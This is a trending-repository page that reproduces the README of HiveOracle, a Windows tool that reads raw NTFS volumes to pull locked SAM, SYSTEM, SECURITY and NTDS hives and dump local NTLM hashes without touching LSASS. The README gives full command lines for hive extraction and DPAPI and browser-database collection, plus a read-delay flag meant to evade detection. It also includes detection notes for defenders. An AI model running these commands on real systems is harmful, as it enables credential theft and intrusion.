◉ Pulse
sailay1996 avatar
#39 today ▲ 37

sailay1996/HiveOracle

C++ AI
View on GitHub View Trend

Raw NTFS volume oracle: locked-file read and offline SAM hashes without LSASS

Created Jul 22, 2026
Stars
25
Today
+1
Forks
1
Quality
85/100
Momentum
36

README

Fetched from GitHub on Oct 30, 2026, 9:23 PM UTC · README.md

View original on GitHub

Third-party content — Open Source Pulse is not the owner of this repository.

This README belongs to sailay1996/HiveOracle and its contributors. We fetch it directly from the project’s public GitHub repository and display it for reference only. All text, code, images and trademarks remain the property of their respective authors. See the repository for its license terms. Copyright / takedown policy.

HiveOracle

Raw NTFS volume oracle → locked-file content & offline credential material — without LSASS.

Platform Lang Use

+--------------------------------------------------+
|  HiveOracle 0.6.0                                |
|  Volume bytes in, locked hives out. No LSASS.    |
|  Researcher: @404death                           |
+--------------------------------------------------+
Researcher @404death
GitHub sailay1996
Version 0.6.0
Platform Windows x64 (MSVC)
Privilege (default) Admin / SYSTEM for volume open
Not Mimikatz / LSASS dumper / DCSync

What it is

HiveOracle turns a privileged raw volume read — CreateFile(\\.\C:) or any (offset, size) → bytes primitive — into:

  1. Arbitrary NTFS file content (including files locked by the system or blocked by DACL on the file object)
  2. Offline hive packs (SAM / SYSTEM / SECURITY, optional NTDS)
  3. Local account NTLM material from those hives (no process injection, no LSASS)
  4. Disk recon & forensics helpers (MFT, $I30 listing, free-space regf carve, USN dump, etc.)

The parser never opens the target path (e.g. C:\Windows\System32\config\SAM). It walks $MFT / indexes and reassembles $DATA from volume clusters.

Default UX: one elevated process. No server/client required for normal dumps.

  [admin/SYSTEM]  HiveOracle.exe
        │
        ├─ open \\.\C:  (or PhysicalDrive + partition / raw image)
        ├─ NTFS parse in-process
        └─ out\  SAM, SYSTEM, SECURITY, hashes.txt

Optional chain mode simulates “std-user parser + SYSTEM byte-reader” for research / vuln impact demos. See docs/USAGE.md.

Why not Mimikatz?

Mimikatz-class HiveOracle
Primary source Process / LSASS memory Disk volume bytes
Local hashes Live or hive Offline hives (after raw extract)
Tickets / SSP / tokens Yes No
Locked SAM while OS is up Via other means Yes (raw NTFS)
Detection surface LSASS access Volume / $MFT / large hive writes

Use HiveOracle next to secretsdump / Mimikatz — not as a replacement for memory tooling.

Quick start

Requirements

  • Windows x64
  • Visual Studio 2022 (Community / Professional / Build Tools) with C++ desktop workload
  • Administrator (or SYSTEM) for live volume access

Build

cd HiveOracle
tools\build.bat

Output: out\HiveOracle.exe (static /MT, links advapi32 + bcrypt).

If vcvars64.bat is not found, edit the path in tools\build.bat.

Happy path (recommended)

Run an elevated command prompt:

out\HiveOracle.exe grab local --volume \\.\C: --out out\grab

Example console output (illustrative — hashes redacted by default):

+--------------------------------------------------+
|  HiveOracle 0.6.0                                |
|  Volume bytes in, locked hives out. No LSASS.    |
|  Researcher: @404death                           |
+--------------------------------------------------+

[+] BPB: 512B/sec 8 sec/cl 4096B/cl  MFT@LCN...  MftRec=1024 IdxRec=4096
[+] $MFT runs: N fragments, ...
[*] grab local: pack hives + secrets (no LSASS)
[!] Online extract may be mid-write. Prefer VSS when available.

[*] pack: \Windows\System32\config\SAM
[+] Windows -> recno ...
[+] SAM -> recno ...
[+] Non-resident $DATA: real=131072 ... (streaming)
[+] magic: regf  bytes=131072
[+] sha256: <hex>

[*] pack: \Windows\System32\config\SYSTEM
[+] magic: regf  bytes=...
[+] sha256: <hex>

[*] pack: \Windows\System32\config\SECURITY
[+] magic: regf  bytes=...
[+] sha256: <hex>
[+] wrote out\grab\manifest.json

[*] offline secrets dump...
[+] CurrentControlSet -> ControlSet001
[+] bootkey: (redacted — use --show-hashes to print)
[+] hbootkey: AES path OK
[*] users (hashes redacted on console; full in --out file):
  Administrator:500:***:***:::
  Guest:501:***:***:::
  Alice:1001:***:***:::
[+] 3 user hash(es)
[+] wrote out\grab\hashes.txt (3 users) — contains full hashes; wipe when done

[+] grab local complete -> out\grab
    files: SAM, SYSTEM, SECURITY, hashes.txt, manifest.json
    next:  HiveOracle.exe wipe --dir out\grab

Output directory:

out\grab\
  SAM
  SYSTEM
  SECURITY
  hashes.txt          # pwdump-style lines + bootkey comment
  manifest.json       # sizes, magic, sha256
  README_WIPE.txt

Example hashes.txt format (fake values for documentation only):

# HiveOracle secrets dump
# bootkey=0123456789abcdef0123456789abcdef
# wipe after use
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Alice:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

Wipe when finished:

out\HiveOracle.exe wipe --dir out\grab
[!] wiping (overwrite+delete): out\grab
[+] wiped out\grab\hashes.txt
[+] wiped out\grab\SAM
...
[+] wipe done (N file(s))

Never commit out/, hive dumps, or hashes.txt to git.

Command overview

Full reference with flags and more examples: docs/USAGE.md.

Command Needs elevation? Purpose
grab local Yes (volume) One-shot hives + offline NTLM dump
wipe --dir No Overwrite + delete dump directory
pack local Yes SAM + SYSTEM + SECURITY only
pack ntds Yes (DC) ntds.dit + SYSTEM
pack collect Yes Best-effort DPAPI / browser DBs
secrets dump No Offline parse of already-extracted hives
file Yes Extract any NTFS path / ADS / recno
ls Yes Directory listing via $I30
mft find|list|path|deleted Yes MFT recon
info Yes BPB / MFT summary
disk list Yes GPT/MBR partitions on disk or image
bitmap stats Yes Free cluster stats from $Bitmap
carve regf Yes Find regf magic (default: free clusters)
usn dump Yes $UsnJrnl:$J (size-capped)
meta logfile|secure Yes $LogFile / $Secure:$SDS
hash --file No SHA-256 of a file
chain Mixed Research pipe / primitive stand-in

Common flags

Flag Meaning
--volume \\.\C: Live NTFS volume (typical)
--device \\.\PhysicalDrive0 --part N Partition on physical disk
--image disk.raw --part N Offline raw/dd image
--out <path|dir> Output file or directory
--show-hashes Print bootkey/NTLM on console (default: redacted)
--quiet / -q Errors only
--verbose / -v Extra logs
--delay-ms N Sleep between volume read chunks (OPSEC)
--max-chunk N Max bytes per ReadFile

More examples

:: Single locked file
out\HiveOracle.exe file --volume \\.\C: --path \Windows\System32\config\SAM --out SAM.bin

:: ADS
out\HiveOracle.exe file --volume \\.\C: --path \tmp\f.txt --stream Zone.Identifier --out zone.txt

:: Directory index
out\HiveOracle.exe ls --volume \\.\C: --path \Windows\System32\config

:: Offline secrets only (after pack)
out\HiveOracle.exe secrets dump --system SYSTEM --sam SAM --out hashes.txt

:: Physical disk → NTFS partition
out\HiveOracle.exe disk list --device \\.\PhysicalDrive0
out\HiveOracle.exe info --device \\.\PhysicalDrive0 --part 2

:: VSS (list shadows first: vssadmin list shadows)
out\HiveOracle.exe grab local --volume \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 --out out\vss

Example ls output:

recno,type,name,size
2329700,file,SAM,131072
2329725,file,SYSTEM,25952256
2329703,file,SECURITY,65536
...

Example disk list output:

index,start_lba,size_lba,type,ntfs,gpt
0,2048,532480,EFI-System,0,1
2,567296,655915663,BasicData/NTFS,1,1
...

Architecture (short)

CLI  →  ops (grab/pack/file/mft/…)  →  NTFS engine
                                      ↑
                               read_fn_t(offset, size, buf, ctx)
                                      ↑
              volume_file | pipe_client | your primitive_stub
  • Engine (src/engine): BPB, $MFT runs, $ATTRIBUTE_LIST, $I30, resident/non-resident $DATA, ADS, stream extract
  • Backends (src/backends): volume / partition / image, named-pipe chain, OPSEC chunk/delay
  • Offline (src/offline): REGF walk, bootkey, SAM AES/RC4 hash decrypt

Details: docs/ARCHITECTURE.md.

Documentation map

Document Contents
docs/USAGE.md Full CLI reference, flags, examples, sample outputs
docs/ARCHITECTURE.md Modules, backends, data flow
docs/THREAT_MODEL.md Assets, abuse model, OPSEC, data handling
docs/DETECTION.md Defensive / purple-team notes
tools/compare_secretsdump.md Optional Impacket parity check

Project layout

HiveOracle/
  README.md                 # this file
  STATUS.md
  docs/                     # detailed documentation
  include/hiveoracle/       # public headers
  src/
    cli/main.cpp            # CLI
    engine/ntfs_parser.cpp  # NTFS engine
    backends/               # volume, pipe, OPSEC
    offline/secrets.cpp     # hive → hashes
  tools/
    build.bat
    compare_secretsdump.md
  tests/                    # test policy / future fixtures
  out/                      # local builds & dumps (gitignored)

Detection / defensive notes (summary)

Operators and blue teams should expect different IOCs than LSASS access:

  • Open of \Device\HarddiskVolume* / \\.\C: / PhysicalDriveN
  • Large sequential reads of $MFT regions
  • Sudden creation of SAM + SYSTEM + SECURITY + hashes.txt
  • Optional named pipe \\.\pipe\HiveOracle_read (chain mode only)

More detail: docs/THREAT_MODEL.md.

Limitations

  • Online hives may be mid-transaction (prefer VSS for consistency).
  • Compressed (WOF / NTFS unit) and EFS $DATA are not fully supported.
  • USN $J is size-capped by default (journal can be tens of GB).
  • pack ntds only on domain controllers (or images that contain ntds.dit).
  • Offline SECURITY → LSA secrets is not implemented (use Impacket if needed).
  • Hash crypto aims at modern Windows AES path; always validate against secretsdump on lab fixtures.

Legal / ethics

Authorized security research, penetration testing, and defensive validation only.

Unauthorized access to systems or credential material is illegal. Authors are not responsible for misuse.

Treat all outputs as highly sensitive. Wipe after use:

out\HiveOracle.exe wipe --dir out\grab

Acknowledgments

Built for authorized red/purple team research by @404death / github.com/sailay1996. Offline hive algorithms follow well-known public designs (e.g. creddump / Impacket secretsdump class) — implement responsibly.

License

Use restricted to lawful, authorized testing. Add a formal LICENSE file before wide public redistribution if required by your org.

Rendered by GitHub from the repository’s README. Scroll to read the full file.
First trending

Jul 23, 2026

first spotted on the list

Best rank

#33

highest position reached

Appearances

4

times on the trending list

Quality score

85

out of 100

Momentum

36

trend strength indicator

Star velocity

0.25

stars per day since creation

Activity — last 60 days

daily counts, collected every 6 hours
  • Stars
  • Forks
  • Merged PRs
  • Issues
  • Closed issues

Collecting activity data since launch — check back in a few days.

Star history

total stars per snapshot
51015202530sailay1996/HiveOracle · Jul 23, 3 AM UTC: 10 starssailay1996/HiveOracle · Jul 23, 8 AM UTC: 17 starssailay1996/HiveOracle · Jul 23, 2 PM UTC: 24 starssailay1996/HiveOracle · Jul 23, 7 PM UTC: 25 stars3 AM11 AM7 PM

Rank history

position on trending · lower is better
#1#30#35#40#45#50Jul 23, 3 AM UTC: rank #39Jul 23, 8 AM UTC: rank #33Jul 23, 2 PM UTC: rank #48Jul 23, 7 PM UTC: rank #393 AM11 AM7 PM

3D card for your website

Live HTML card with a glass surface and pointer tilt. Paste the iframe on any website.

<iframe src="https://www.notionpulse.cc/embed/sailay1996/HiveOracle" width="420" height="240" style="border:0;max-width:100%;background:transparent" loading="lazy" title="sailay1996/HiveOracle — trending on Open Source Pulse"></iframe>

Stars badge

Show current stars in your README or profile. Auto-updates every 6 hours.

sailay1996/HiveOracle stars badge
Markdown
[![sailay1996/HiveOracle](https://www.notionpulse.cc/api/badge/sailay1996/HiveOracle.svg)](https://www.notionpulse.cc/repo/sailay1996/HiveOracle)
HTML
<a href="https://www.notionpulse.cc/repo/sailay1996/HiveOracle"><img src="https://www.notionpulse.cc/api/badge/sailay1996/HiveOracle.svg" alt="sailay1996/HiveOracle stars badge" /></a>

Repository of the Day

#33 Repository of the Day

Repository of the Week

#33 Repository of the Week

Repository of the Month

#33 Repository of the Month

Popular in C++

Related repos